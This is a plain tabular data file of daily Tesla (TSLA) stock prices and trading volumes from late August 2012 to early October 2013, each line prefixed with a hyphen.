-2012-08-27,29.56999969482422,29.700000762939453,28.170000076293945,28.31999969482422,28.31999969482422,1350400,TSLA
-2012-08-28,28.399999618530273,29.3799991607666,28.0,28.690000534057617,28.690000534057617,1402700,TSLA
-2012-08-29,28.489999771118164,28.639999389648438,28.020000457763672,28.40999984741211,28.40999984741211,838900,TSLA
-2012-08-30,28.600000381469727,28.739999771118164,28.100000381469727,28.40999984741211,28.40999984741211,656400,TSLA
-2012-08-31,28.610000610351562,28.84000015258789,28.200000762939453,28.520000457763672,28.520000457763672,539800,TSLA
-2012-09-04,28.520000457763672,28.989999771118164,27.899999618530273,28.139999389648438,28.139999389648438,752500,TSLA
-2012-09-05,28.010000228881836,28.5,27.809999465942383,27.940000534057617,27.940000534057617,639300,TSLA
-2012-09-06,28.0,28.899999618530273,27.899999618530273,28.549999237060547,28.549999237060547,841700,TSLA
-2012-09-07,28.549999237060547,29.56999969482422,28.5,29.350000381469727,29.350000381469727,953200,TSLA
-2012-09-10,29.200000762939453,29.350000381469727,27.299999237060547,27.3700008392334,27.3700008392334,1483300,TSLA
-2012-09-11,27.760000228881836,28.15999984741211,27.399999618530273,27.799999237060547,27.799999237060547,1014900,TSLA
-2012-09-12,27.899999618530273,28.579999923706055,27.799999237060547,28.280000686645508,28.280000686645508,1145200,TSLA
-2012-09-13,28.56999969482422,29.5,28.479999542236328,29.479999542236328,29.479999542236328,1484700,TSLA
-2012-09-14,30.0,30.649999618530273,29.649999618530273,30.389999389648438,30.389999389648438,1536600,TSLA
-2012-09-17,32.349998474121094,32.779998779296875,31.510000228881836,32.540000915527344,32.540000915527344,3212800,TSLA
-2012-09-18,31.8799991607666,31.899999618530273,30.68000030517578,31.34000015258789,31.34000015258789,1788500,TSLA
-2012-09-19,31.0,31.739999771118164,30.940000534057617,31.049999237060547,31.049999237060547,1048500,TSLA
-2012-09-20,30.93000030517578,31.5,30.68000030517578,30.899999618530273,30.899999618530273,912400,TSLA
-2012-09-21,31.100000381469727,31.489999771118164,29.540000915527344,30.020000457763672,30.020000457763672,1870000,TSLA
-2012-09-24,29.510000228881836,31.030000686645508,29.399999618530273,30.65999984741211,30.65999984741211,1301900,TSLA
-2012-09-25,28.6200008392334,29.479999542236328,27.530000686645508,27.65999984741211,27.65999984741211,5680400,TSLA
-2012-09-26,27.65999984741211,28.399999618530273,27.479999542236328,27.540000915527344,27.540000915527344,1527200,TSLA
-2012-09-27,27.81999969482422,28.540000915527344,27.600000381469727,28.489999771118164,28.489999771118164,1758600,TSLA
-2012-09-28,28.729999542236328,29.889999389648438,28.610000610351562,29.280000686645508,29.280000686645508,4343400,TSLA
-2012-10-01,29.5,29.889999389648438,29.0,29.15999984741211,29.15999984741211,884400,TSLA
-2012-10-02,29.280000686645508,29.889999389648438,29.0,29.799999237060547,29.799999237060547,729000,TSLA
-2012-10-03,29.75,29.950000762939453,29.239999771118164,29.299999237060547,29.299999237060547,1052800,TSLA
-2012-10-04,30.0,30.100000381469727,28.649999618530273,29.399999618530273,29.399999618530273,1541300,TSLA
-2012-10-05,29.700000762939453,29.809999465942383,28.68000030517578,28.889999389648438,28.889999389648438,938600,TSLA
-2012-10-08,28.860000610351562,29.399999618530273,28.610000610351562,29.25,29.25,889700,TSLA
-2012-10-09,29.1200008392334,29.1200008392334,28.25,28.3700008392334,28.3700008392334,1193000,TSLA
-2012-10-10,28.389999389648438,28.719999313354492,28.010000228881836,28.399999618530273,28.399999618530273,503600,TSLA
-2012-10-11,28.940000534057617,28.979999542236328,28.25,28.31999969482422,28.31999969482422,450600,TSLA
-2012-10-12,28.31999969482422,28.729999542236328,27.5,27.639999389648438,27.639999389648438,987600,TSLA
-2012-10-15,28.020000457763672,28.049999237060547,26.860000610351562,27.329999923706055,27.329999923706055,1468700,TSLA
-2012-10-16,27.670000076293945,28.09000015258789,27.34000015258789,28.059999465942383,28.059999465942383,479300,TSLA
-2012-10-17,28.25,28.84000015258789,27.799999237060547,28.81999969482422,28.81999969482422,668000,TSLA
-2012-10-18,28.989999771118164,28.989999771118164,27.780000686645508,28.040000915527344,28.040000915527344,741000,TSLA
-2012-10-19,27.829999923706055,28.200000762939453,27.299999237060547,27.739999771118164,27.739999771118164,1027400,TSLA
-2012-10-22,27.989999771118164,28.0,27.360000610351562,27.850000381469727,27.850000381469727,470200,TSLA
-2012-10-23,27.3799991607666,28.559999465942383,27.3700008392334,28.389999389648438,28.389999389648438,749000,TSLA
-2012-10-24,28.520000457763672,28.520000457763672,27.25,27.420000076293945,27.420000076293945,1016400,TSLA
-2012-10-25,27.799999237060547,27.799999237060547,27.450000762939453,27.520000457763672,27.520000457763672,577700,TSLA
-2012-10-26,27.530000686645508,27.799999237060547,27.020000457763672,27.3799991607666,27.3799991607666,477400,TSLA
-2012-10-31,27.700000762939453,28.350000381469727,27.3700008392334,28.1299991607666,28.1299991607666,775200,TSLA
-2012-11-01,28.25,29.489999771118164,28.200000762939453,29.25,29.25,1024100,TSLA
-2012-11-02,29.270000457763672,29.549999237060547,28.549999237060547,28.920000076293945,28.920000076293945,1030300,TSLA
-2012-11-05,29.799999237060547,31.579999923706055,29.329999923706055,31.5,31.5,2048900,TSLA
-2012-11-06,30.610000610351562,31.200000762939453,29.950000762939453,31.149999618530273,31.149999618530273,2324000,TSLA
-2012-11-07,31.0,32.04999923706055,30.809999465942383,31.540000915527344,31.540000915527344,1714500,TSLA
-2012-11-08,31.010000228881836,31.8799991607666,30.940000534057617,31.309999465942383,31.309999465942383,1274000,TSLA
-2012-11-09,30.600000381469727,30.93000030517578,29.850000381469727,30.31999969482422,30.31999969482422,863000,TSLA
-2012-11-12,30.290000915527344,31.420000076293945,30.15999984741211,31.06999969482422,31.06999969482422,555900,TSLA
-2012-11-13,31.290000915527344,32.0,30.719999313354492,31.610000610351562,31.610000610351562,998300,TSLA
-2012-11-14,31.959999084472656,32.119998931884766,31.200000762939453,31.3799991607666,31.3799991607666,871300,TSLA
-2012-11-15,31.299999237060547,31.440000534057617,30.5,30.81999969482422,30.81999969482422,984000,TSLA
-2012-11-16,31.149999618530273,32.0,30.59000015258789,31.84000015258789,31.84000015258789,908700,TSLA
-2012-11-19,32.06999969482422,33.25,31.84000015258789,32.91999816894531,32.91999816894531,1392400,TSLA
-2012-11-20,32.79999923706055,33.099998474121094,31.90999984741211,33.0,33.0,922500,TSLA
-2012-11-21,32.61000061035156,33.470001220703125,32.290000915527344,32.470001220703125,32.470001220703125,963200,TSLA
-2012-11-23,32.599998474121094,32.83000183105469,31.700000762939453,32.130001068115234,32.130001068115234,430300,TSLA
-2012-11-26,32.099998474121094,32.29999923706055,31.6200008392334,32.27000045776367,32.27000045776367,495800,TSLA
-2012-11-27,32.130001068115234,32.65999984741211,31.520000457763672,32.150001525878906,32.150001525878906,910800,TSLA
-2012-11-28,32.0,34.290000915527344,31.90999984741211,33.22999954223633,33.22999954223633,1525200,TSLA
-2012-11-29,33.439998626708984,34.0,32.869998931884766,33.689998626708984,33.689998626708984,1103400,TSLA
-2012-11-30,33.630001068115234,34.279998779296875,33.0099983215332,33.81999969482422,33.81999969482422,1420300,TSLA
-2012-12-03,33.88999938964844,35.0,33.5,34.619998931884766,34.619998931884766,2085700,TSLA
-2012-12-04,34.08000183105469,34.79999923706055,33.54999923706055,33.900001525878906,33.900001525878906,1263300,TSLA
-2012-12-05,33.81999969482422,34.189998626708984,33.58000183105469,33.709999084472656,33.709999084472656,661500,TSLA
-2012-12-06,33.81999969482422,34.79999923706055,33.5,33.900001525878906,33.900001525878906,660400,TSLA
-2012-12-07,34.29999923706055,34.4900016784668,33.849998474121094,34.16999816894531,34.16999816894531,664400,TSLA
-2012-12-10,34.43000030517578,34.79999923706055,34.18000030517578,34.56999969482422,34.56999969482422,929800,TSLA
-2012-12-11,34.599998474121094,35.5,34.459999084472656,35.279998779296875,35.279998779296875,1572600,TSLA
-2012-12-12,35.209999084472656,35.79999923706055,34.95000076293945,35.2599983215332,35.2599983215332,2063800,TSLA
-2012-12-13,35.2599983215332,35.29999923706055,32.75,33.61000061035156,33.61000061035156,2151300,TSLA
-2012-12-14,33.779998779296875,34.400001525878906,33.59000015258789,33.810001373291016,33.810001373291016,1023000,TSLA
-2012-12-17,33.77000045776367,34.5,33.75,34.400001525878906,34.400001525878906,824900,TSLA
-2012-12-18,34.2599983215332,35.06999969482422,34.2599983215332,34.59000015258789,34.59000015258789,1553900,TSLA
-2012-12-19,34.75,35.2599983215332,34.52000045776367,34.61000061035156,34.61000061035156,1298800,TSLA
-2012-12-20,34.5099983215332,34.790000915527344,34.04999923706055,34.43000030517578,34.43000030517578,921200,TSLA
-2012-12-21,33.939998626708984,34.16999816894531,33.58000183105469,34.0,34.0,1492400,TSLA
-2012-12-24,33.63999938964844,34.349998474121094,33.54999923706055,34.279998779296875,34.279998779296875,375800,TSLA
-2012-12-26,33.959999084472656,34.5,33.5,33.59000015258789,33.59000015258789,601400,TSLA
-2012-12-27,33.5,33.90999984741211,33.0,33.689998626708984,33.689998626708984,561100,TSLA
-2012-12-28,33.380001068115234,33.650001525878906,33.02000045776367,33.220001220703125,33.220001220703125,414100,TSLA
-2012-12-31,33.0,33.970001220703125,33.0,33.869998931884766,33.869998931884766,594900,TSLA
-2013-01-02,35.0,35.45000076293945,34.709999084472656,35.36000061035156,35.36000061035156,1194800,TSLA
-2013-01-03,35.18000030517578,35.45000076293945,34.75,34.77000045776367,34.77000045776367,742000,TSLA
-2013-01-04,34.79999923706055,34.79999923706055,33.91999816894531,34.400001525878906,34.400001525878906,674000,TSLA
-2013-01-07,34.79999923706055,34.79999923706055,33.900001525878906,34.34000015258789,34.34000015258789,442000,TSLA
-2013-01-08,34.5,34.5,33.11000061035156,33.68000030517578,33.68000030517578,1284000,TSLA
-2013-01-09,34.0099983215332,34.189998626708984,33.400001525878906,33.63999938964844,33.63999938964844,698000,TSLA
-2013-01-10,33.869998931884766,33.9900016784668,33.380001068115234,33.529998779296875,33.529998779296875,922500,TSLA
-2013-01-11,34.040000915527344,34.040000915527344,32.11000061035156,32.90999984741211,32.90999984741211,1563200,TSLA
-2013-01-14,33.08000183105469,33.380001068115234,32.849998474121094,33.2599983215332,33.2599983215332,925100,TSLA
-2013-01-15,33.11000061035156,34.25,33.08000183105469,33.900001525878906,33.900001525878906,1624200,TSLA
-2013-01-16,33.849998474121094,34.22999954223633,33.72999954223633,34.099998474121094,34.099998474121094,1378200,TSLA
-2013-01-17,34.15999984741211,34.849998474121094,33.91999816894531,34.380001068115234,34.380001068115234,1436700,TSLA
-2013-01-18,34.7400016784668,34.779998779296875,33.81999969482422,34.52000045776367,34.52000045776367,3555100,TSLA
-2013-01-22,34.560001373291016,35.54999923706055,34.2599983215332,35.189998626708984,35.189998626708984,1920200,TSLA
-2013-01-23,35.02000045776367,36.2400016784668,34.959999084472656,36.0,36.0,1564300,TSLA
-2013-01-24,36.0,37.720001220703125,35.84000015258789,36.9900016784668,36.9900016784668,1970400,TSLA
-2013-01-25,37.0,37.540000915527344,36.79999923706055,36.97999954223633,36.97999954223633,1287800,TSLA
-2013-01-28,36.86000061035156,38.709999084472656,36.86000061035156,38.029998779296875,38.029998779296875,1986000,TSLA
-2013-01-29,38.099998474121094,38.439998626708984,37.130001068115234,37.95000076293945,37.95000076293945,1426600,TSLA
-2013-01-30,37.849998474121094,38.0,37.43000030517578,37.52000045776367,37.52000045776367,968100,TSLA
-2013-01-31,37.869998931884766,37.869998931884766,36.93000030517578,37.5099983215332,37.5099983215332,901400,TSLA
-2013-02-01,38.16999816894531,38.5,37.619998931884766,38.29999923706055,38.29999923706055,1100600,TSLA
-2013-02-04,38.400001525878906,38.41999816894531,37.59000015258789,37.7400016784668,37.7400016784668,1128000,TSLA
-2013-02-05,38.0,38.650001525878906,37.68000030517578,38.130001068115234,38.130001068115234,1310200,TSLA
-2013-02-06,38.18000030517578,39.38999938964844,37.900001525878906,39.16999816894531,39.16999816894531,1893200,TSLA
-2013-02-07,39.189998626708984,39.68000030517578,38.95000076293945,39.47999954223633,39.47999954223633,1196600,TSLA
-2013-02-08,39.45000076293945,40.0,39.13999938964844,39.2400016784668,39.2400016784668,1139800,TSLA
-2013-02-11,37.97999954223633,39.150001525878906,37.5,38.41999816894531,38.41999816894531,3266300,TSLA
-2013-02-12,38.45000076293945,38.869998931884766,37.290000915527344,37.88999938964844,37.88999938964844,2261300,TSLA
-2013-02-13,38.29999923706055,39.0,38.04999923706055,38.45000076293945,38.45000076293945,966800,TSLA
-2013-02-14,38.63999938964844,38.75,38.209999084472656,38.27000045776367,38.27000045776367,990700,TSLA
-2013-02-15,38.5,38.5099983215332,36.95000076293945,37.040000915527344,37.040000915527344,2017600,TSLA
-2013-02-19,37.36000061035156,39.290000915527344,37.310001373291016,39.279998779296875,39.279998779296875,2701400,TSLA
-2013-02-20,39.29999923706055,39.650001525878906,38.459999084472656,38.540000915527344,38.540000915527344,3122000,TSLA
-2013-02-21,36.4900016784668,37.38999938964844,34.540000915527344,35.15999984741211,35.15999984741211,9037800,TSLA
-2013-02-22,35.720001220703125,36.38999938964844,35.599998474121094,36.11000061035156,36.11000061035156,2547300,TSLA
-2013-02-25,36.150001525878906,36.75,34.34000015258789,34.380001068115234,34.380001068115234,2889400,TSLA
-2013-02-26,34.459999084472656,34.959999084472656,33.79999923706055,34.43000030517578,34.43000030517578,2762900,TSLA
-2013-02-27,34.40999984741211,35.40999984741211,34.400001525878906,35.099998474121094,35.099998474121094,1959200,TSLA
-2013-02-28,35.88999938964844,36.099998474121094,34.369998931884766,34.83000183105469,34.83000183105469,1964900,TSLA
-2013-03-01,35.0,35.08000183105469,34.25,34.650001525878906,34.650001525878906,1546600,TSLA
-2013-03-04,34.77000045776367,35.83000183105469,34.70000076293945,35.58000183105469,35.58000183105469,1757700,TSLA
-2013-03-05,36.0,36.91999816894531,35.790000915527344,36.650001525878906,36.650001525878906,2087000,TSLA
-2013-03-06,37.0099983215332,37.880001068115234,36.970001220703125,37.689998626708984,37.689998626708984,1150000,TSLA
-2013-03-07,37.72999954223633,38.650001525878906,36.880001068115234,38.22999954223633,38.22999954223633,1158300,TSLA
-2013-03-08,38.060001373291016,39.439998626708984,37.36000061035156,38.470001220703125,38.470001220703125,912100,TSLA
-2013-03-11,38.869998931884766,39.439998626708984,38.650001525878906,39.099998474121094,39.099998474121094,1579500,TSLA
-2013-03-12,38.900001525878906,39.380001068115234,38.849998474121094,39.119998931884766,39.119998931884766,1275100,TSLA
-2013-03-13,39.0,39.4900016784668,38.810001373291016,38.97999954223633,38.97999954223633,822000,TSLA
-2013-03-14,38.900001525878906,38.90999984741211,36.77000045776367,36.849998474121094,36.849998474121094,2021000,TSLA
-2013-03-15,36.63999938964844,36.650001525878906,35.209999084472656,35.290000915527344,35.290000915527344,3279600,TSLA
-2013-03-18,35.29999923706055,36.060001373291016,34.91999816894531,35.150001525878906,35.150001525878906,1316100,TSLA
-2013-03-19,35.25,35.599998474121094,34.939998626708984,35.08000183105469,35.08000183105469,1098500,TSLA
-2013-03-20,35.2599983215332,36.06999969482422,35.15999984741211,35.95000076293945,35.95000076293945,1423000,TSLA
-2013-03-21,35.95000076293945,37.060001373291016,35.7400016784668,36.0099983215332,36.0099983215332,1146300,TSLA
-2013-03-22,36.20000076293945,36.79999923706055,36.20000076293945,36.619998931884766,36.619998931884766,440200,TSLA
-2013-03-25,37.099998474121094,38.52000045776367,36.77000045776367,37.529998779296875,37.529998779296875,2378800,TSLA
-2013-03-26,37.97999954223633,38.220001220703125,37.65999984741211,37.86000061035156,37.86000061035156,1808200,TSLA
-2013-03-27,37.939998626708984,38.380001068115234,37.310001373291016,38.15999984741211,38.15999984741211,1296300,TSLA
-2013-03-28,38.22999954223633,38.2400016784668,37.75,37.88999938964844,37.88999938964844,1158700,TSLA
-2013-04-01,42.36000061035156,46.68000030517578,41.70000076293945,43.93000030517578,43.93000030517578,14098500,TSLA
-2013-04-02,43.599998474121094,45.5,43.5099983215332,44.34000015258789,44.34000015258789,6652400,TSLA
-2013-04-03,43.099998474121094,43.470001220703125,40.209999084472656,41.099998474121094,41.099998474121094,5643600,TSLA
-2013-04-04,41.11000061035156,42.25,40.810001373291016,42.0099983215332,42.0099983215332,2264800,TSLA
-2013-04-05,42.0,42.0,40.5,41.369998931884766,41.369998931884766,1552400,TSLA
-2013-04-08,41.970001220703125,42.54999923706055,41.5099983215332,41.83000183105469,41.83000183105469,1679000,TSLA
-2013-04-09,41.79999923706055,41.83000183105469,40.33000183105469,40.5,40.5,1696100,TSLA
-2013-04-10,40.70000076293945,42.0099983215332,40.61000061035156,41.86000061035156,41.86000061035156,2121100,TSLA
-2013-04-11,42.060001373291016,44.54999923706055,41.75,43.59000015258789,43.59000015258789,3447400,TSLA
-2013-04-12,43.25,45.13999938964844,43.04999923706055,43.75,43.75,3149400,TSLA
-2013-04-15,43.5,43.79999923706055,42.5099983215332,43.29999923706055,43.29999923706055,1681400,TSLA
-2013-04-16,44.189998626708984,46.13999938964844,43.90999984741211,45.59000015258789,45.59000015258789,3180400,TSLA
-2013-04-17,45.5,45.95000076293945,44.540000915527344,45.45000076293945,45.45000076293945,2118500,TSLA
-2013-04-18,45.97999954223633,47.599998474121094,45.38999938964844,46.970001220703125,46.970001220703125,3367900,TSLA
-2013-04-19,47.459999084472656,49.880001068115234,47.06999969482422,47.83000183105469,47.83000183105469,3011700,TSLA
-2013-04-22,48.599998474121094,50.20000076293945,47.75,50.189998626708984,50.189998626708984,3939400,TSLA
-2013-04-23,51.0,52.91999816894531,50.65999984741211,51.0099983215332,51.0099983215332,3733800,TSLA
-2013-04-24,50.900001525878906,51.04999923706055,48.97999954223633,50.43000030517578,50.43000030517578,2630000,TSLA
-2013-04-25,50.5,52.400001525878906,50.5,52.0,52.0,2795900,TSLA
-2013-04-26,53.130001068115234,53.7400016784668,50.619998931884766,51.20000076293945,51.20000076293945,3622100,TSLA
-2013-04-29,51.7599983215332,54.9900016784668,51.20000076293945,54.939998626708984,54.939998626708984,3639700,TSLA
-2013-04-30,56.0,58.18000030517578,53.7599983215332,53.9900016784668,53.9900016784668,5522600,TSLA
-2013-05-01,55.9900016784668,55.9900016784668,53.0,53.279998779296875,53.279998779296875,2742800,TSLA
-2013-05-02,53.849998474121094,55.27000045776367,53.70000076293945,54.11000061035156,54.11000061035156,3050400,TSLA
-2013-05-03,56.470001220703125,56.470001220703125,54.5,54.54999923706055,54.54999923706055,3378700,TSLA
-2013-05-06,56.38999938964844,59.65999984741211,55.5,59.5,59.5,4366700,TSLA
-2013-05-07,62.0,62.369998931884766,55.119998931884766,55.5099983215332,55.5099983215332,9991000,TSLA
-2013-05-08,57.5,58.20000076293945,55.709999084472656,55.790000915527344,55.790000915527344,6769900,TSLA
-2013-05-09,70.12000274658203,75.7699966430664,63.689998626708984,69.4000015258789,69.4000015258789,28605000,TSLA
-2013-05-10,69.6500015258789,81.0,69.25,76.76000213623047,76.76000213623047,25082600,TSLA
-2013-05-13,80.98999786376953,88.0,79.1500015258789,87.80000305175781,87.80000305175781,22416900,TSLA
-2013-05-14,94.22000122070312,97.12000274658203,81.1500015258789,83.23999786376953,83.23999786376953,37163900,TSLA
-2013-05-15,81.80000305175781,86.87999725341797,78.11000061035156,84.83999633789062,84.83999633789062,16878700,TSLA
-2013-05-16,94.69999694824219,95.0,88.66000366210938,92.25,92.25,21614000,TSLA
-2013-05-17,92.5,94.44000244140625,87.5,91.5,91.5,19002200,TSLA
-2013-05-20,91.12000274658203,92.5,88.62999725341797,89.94000244140625,89.94000244140625,8348400,TSLA
-2013-05-21,88.5,89.98999786376953,85.27999877929688,87.58999633789062,87.58999633789062,8998200,TSLA
-2013-05-22,86.37000274658203,90.95999908447266,85.5,87.23999786376953,87.23999786376953,8568000,TSLA
-2013-05-23,84.80999755859375,93.01000213623047,83.05000305175781,92.7300033569336,92.7300033569336,12022200,TSLA
-2013-05-24,92.5999984741211,97.94999694824219,92.0,97.08000183105469,97.08000183105469,16124200,TSLA
-2013-05-28,101.55000305175781,110.75,100.30000305175781,110.33000183105469,110.33000183105469,19691900,TSLA
-2013-05-29,113.55000305175781,114.9000015258789,99.0,104.62999725341797,104.62999725341797,25099500,TSLA
-2013-05-30,102.45999908447266,109.54000091552734,101.19999694824219,104.94999694824219,104.94999694824219,16133700,TSLA
-2013-05-31,106.26000213623047,106.44000244140625,97.7300033569336,97.76000213623047,97.76000213623047,15172000,TSLA
-2013-06-03,97.62000274658203,97.62000274658203,88.25,92.58999633789062,92.58999633789062,19139600,TSLA
-2013-06-04,92.75,96.41999816894531,92.4000015258789,94.83999633789062,94.83999633789062,8856100,TSLA
-2013-06-05,93.66000366210938,97.97000122070312,89.11000061035156,95.37000274658203,95.37000274658203,12224800,TSLA
-2013-06-06,95.25,99.2699966430664,95.11000061035156,97.3499984741211,97.3499984741211,9510900,TSLA
-2013-06-07,98.0,102.9000015258789,96.69999694824219,102.04000091552734,102.04000091552734,10711600,TSLA
-2013-06-10,98.93000030517578,102.5199966430664,98.56999969482422,100.05000305175781,100.05000305175781,9228600,TSLA
-2013-06-11,98.18000030517578,98.68000030517578,94.05000305175781,94.47000122070312,94.47000122070312,7394000,TSLA
-2013-06-12,96.80000305175781,100.4800033569336,95.75,97.7300033569336,97.7300033569336,9192700,TSLA
-2013-06-13,99.0,99.27999877929688,95.12000274658203,98.18000030517578,98.18000030517578,5961600,TSLA
-2013-06-14,100.0,102.5199966430664,99.33000183105469,100.30000305175781,100.30000305175781,6564700,TSLA
-2013-06-17,103.5999984741211,104.75,101.19999694824219,102.19999694824219,102.19999694824219,7066200,TSLA
-2013-06-18,101.75,103.9800033569336,99.19999694824219,103.38999938964844,103.38999938964844,8795300,TSLA
-2013-06-19,102.05999755859375,106.66999816894531,102.01000213623047,104.68000030517578,104.68000030517578,8578900,TSLA
-2013-06-20,104.6500015258789,107.12999725341797,99.44999694824219,100.6500015258789,100.6500015258789,10106500,TSLA
-2013-06-21,103.69999694824219,103.69999694824219,97.5,99.55000305175781,99.55000305175781,11718600,TSLA
-2013-06-24,96.5,102.87000274658203,95.30000305175781,101.48999786376953,101.48999786376953,7119800,TSLA
-2013-06-25,103.0999984741211,104.19999694824219,100.55000305175781,102.4000015258789,102.4000015258789,5848700,TSLA
-2013-06-26,103.80000305175781,105.87000274658203,102.66000366210938,105.72000122070312,105.72000122070312,6602600,TSLA
-2013-06-27,106.75,110.25,106.12999725341797,109.25,109.25,8744900,TSLA
-2013-06-28,108.56999969482422,109.44000244140625,106.70999908447266,107.36000061035156,107.36000061035156,5748600,TSLA
-2013-07-01,109.36000061035156,117.7699966430664,109.1500015258789,117.18000030517578,117.18000030517578,10903600,TSLA
-2013-07-02,118.25,121.88999938964844,115.5,117.81999969482422,117.81999969482422,12064100,TSLA
-2013-07-03,118.0,119.25,114.2699966430664,115.23999786376953,115.23999786376953,4806700,TSLA
-2013-07-05,118.31999969482422,120.27999877929688,115.69999694824219,120.08999633789062,120.08999633789062,6818700,TSLA
-2013-07-08,121.37000274658203,122.18000030517578,118.81999969482422,121.61000061035156,121.61000061035156,7814200,TSLA
-2013-07-09,124.63999938964844,125.31999969482422,121.91000366210938,123.44999694824219,123.44999694824219,8603300,TSLA
-2013-07-10,123.19000244140625,123.25,120.79000091552734,122.2699966430664,122.2699966430664,5600100,TSLA
-2013-07-11,124.87999725341797,126.08999633789062,122.3499984741211,125.61000061035156,125.61000061035156,7483600,TSLA
-2013-07-12,125.5,129.94000244140625,124.51000213623047,129.89999389648438,129.89999389648438,11344000,TSLA
-2013-07-15,133.02999877929688,133.25999450683594,126.81999969482422,127.26000213623047,127.26000213623047,9922400,TSLA
-2013-07-16,126.27999877929688,126.31999969482422,107.30000305175781,109.05000305175781,109.05000305175781,32371900,TSLA
-2013-07-17,106.5199966430664,121.62000274658203,104.5,120.25,120.25,26029000,TSLA
-2013-07-18,120.97000122070312,122.7300033569336,116.18000030517578,119.02999877929688,119.02999877929688,11398100,TSLA
-2013-07-19,118.5,120.55000305175781,116.51000213623047,119.68000030517578,119.68000030517578,5890300,TSLA
-2013-07-22,119.88999938964844,126.68000030517578,119.87999725341797,122.43000030517578,122.43000030517578,9797800,TSLA
-2013-07-23,124.0,125.55999755859375,121.81999969482422,122.73999786376953,122.73999786376953,7736400,TSLA
-2013-07-24,124.47000122070312,124.5,119.55999755859375,121.69999694824219,121.69999694824219,6869000,TSLA
-2013-07-25,120.4000015258789,124.75,120.19000244140625,124.06999969482422,124.06999969482422,5284300,TSLA
-2013-07-26,128.13999938964844,130.67999267578125,126.61000061035156,129.38999938964844,129.38999938964844,9633100,TSLA
-2013-07-29,129.32000732421875,135.3699951171875,128.25,134.6199951171875,134.6199951171875,9678900,TSLA
-2013-07-30,134.8000030517578,137.49000549316406,128.17999267578125,131.74000549316406,131.74000549316406,13127000,TSLA
-2013-07-31,132.57000732421875,134.97000122070312,131.4499969482422,134.27999877929688,134.27999877929688,6351700,TSLA
-2013-08-01,135.0,136.52000427246094,132.6300048828125,135.5500030517578,135.5500030517578,5323600,TSLA
-2013-08-02,134.58999633789062,138.25,133.61000061035156,138.0,138.0,6269900,TSLA
-2013-08-05,140.00999450683594,144.88999938964844,139.64999389648438,144.67999267578125,144.67999267578125,10200700,TSLA
-2013-08-06,144.75,145.72999572753906,141.10000610351562,142.14999389648438,142.14999389648438,9254500,TSLA
-2013-08-07,141.88999938964844,141.9499969482422,132.36000061035156,134.22999572753906,134.22999572753906,18212200,TSLA
-2013-08-08,154.35000610351562,158.8800048828125,150.4600067138672,153.47999572753906,153.47999572753906,27246800,TSLA
-2013-08-09,152.39999389648438,155.9499969482422,151.25,153.0,153.0,8927700,TSLA
-2013-08-12,149.42999267578125,150.5,142.0500030517578,147.3800048828125,147.3800048828125,14912200,TSLA
-2013-08-13,149.5,149.83999633789062,144.4499969482422,145.42999267578125,145.42999267578125,8748900,TSLA
-2013-08-14,142.72000122070312,144.83999633789062,138.0500030517578,139.36000061035156,139.36000061035156,11693800,TSLA
-2013-08-15,136.42999267578125,143.60000610351562,135.0,139.6699981689453,139.6699981689453,10179200,TSLA
-2013-08-16,141.6300048828125,143.91000366210938,140.97000122070312,142.0,142.0,7108100,TSLA
-2013-08-19,143.42999267578125,147.3800048828125,142.8300018310547,144.89999389648438,144.89999389648438,8037700,TSLA
-2013-08-20,148.64999389648438,149.77999877929688,147.0,149.5800018310547,149.5800018310547,6418200,TSLA
-2013-08-21,150.0,150.30999755859375,146.25,147.86000061035156,147.86000061035156,6266300,TSLA
-2013-08-22,149.22000122070312,157.47999572753906,148.13999938964844,157.10000610351562,157.10000610351562,10592400,TSLA
-2013-08-23,157.0,162.3000030517578,155.0,161.83999633789062,161.83999633789062,12931900,TSLA
-2013-08-26,165.14999389648438,173.0,160.25,164.22000122070312,164.22000122070312,24171100,TSLA
-2013-08-27,162.3000030517578,168.8000030517578,160.9499969482422,167.00999450683594,167.00999450683594,17566900,TSLA
-2013-08-28,169.05999755859375,171.5,163.25,166.4499969482422,166.4499969482422,14740100,TSLA
-2013-08-29,164.22000122070312,167.75,162.50999450683594,166.05999755859375,166.05999755859375,9436000,TSLA
-2013-08-30,166.3699951171875,169.2100067138672,163.9600067138672,169.0,169.0,11028400,TSLA
-2013-09-03,173.39999389648438,173.6999969482422,166.39999389648438,168.94000244140625,168.94000244140625,12061100,TSLA
-2013-09-04,169.77000427246094,171.6199951171875,165.55999755859375,170.6199951171875,170.6199951171875,11475700,TSLA
-2013-09-05,170.10000610351562,171.5,168.25,169.92999267578125,169.92999267578125,6685300,TSLA
-2013-09-06,168.57000732421875,169.6999969482422,165.14999389648438,166.97000122070312,166.97000122070312,8619700,TSLA
-2013-09-09,163.1199951171875,164.5,158.50999450683594,160.6999969482422,160.6999969482422,14344500,TSLA
-2013-09-10,161.4499969482422,167.5,160.6300048828125,166.3699951171875,166.3699951171875,8967800,TSLA
-2013-09-11,166.41000366210938,167.89999389648438,162.1300048828125,163.52000427246094,163.52000427246094,5832500,TSLA
-2013-09-12,164.0,166.75999450683594,160.50999450683594,164.92999267578125,164.92999267578125,6160000,TSLA
-2013-09-13,162.77000427246094,166.3699951171875,162.16000366210938,165.5399932861328,165.5399932861328,5401200,TSLA
-2013-09-16,168.0,170.85000610351562,165.85000610351562,166.5800018310547,166.5800018310547,7574900,TSLA
-2013-09-17,165.0800018310547,168.4199981689453,163.36000061035156,166.22999572753906,166.22999572753906,5496900,TSLA
-2013-09-18,167.07000732421875,167.4499969482422,164.1999969482422,166.22000122070312,166.22000122070312,5439700,TSLA
-2013-09-19,170.8000030517578,180.47000122070312,169.0800018310547,177.9199981689453,177.9199981689453,15594600,TSLA
-2013-09-20,178.89999389648438,185.8300018310547,178.55999755859375,183.38999938964844,183.38999938964844,13401700,TSLA
-2013-09-23,184.47999572753906,185.47999572753906,177.11000061035156,181.11000061035156,181.11000061035156,8173400,TSLA
-2013-09-24,179.13999938964844,184.9600067138672,177.64999389648438,182.3300018310547,182.3300018310547,6273400,TSLA
-2013-09-25,183.55999755859375,186.3000030517578,180.5,185.24000549316406,185.24000549316406,8252700,TSLA
-2013-09-26,186.6999969482422,189.67999267578125,185.61000061035156,188.63999938964844,188.63999938964844,6614400,TSLA
-2013-09-27,187.52000427246094,191.27999877929688,186.42999267578125,190.89999389648438,190.89999389648438,5916400,TSLA
-2013-09-30,189.0,194.5,188.0,193.3699951171875,193.3699951171875,8924700,TSLA
-2013-10-01,193.9600067138672,194.22999572753906,188.3699951171875,193.0,193.0,7755900,TSLA
-2013-10-02,188.58999633789062,191.8300018310547,175.39999389648438,180.9499969482422,180.9499969482422,20775400,TSLA
-2013-10-03,175.0500030517578,179.69000244140625,168.0,173.30999755859375,173.30999755859375,23816500,TSLA
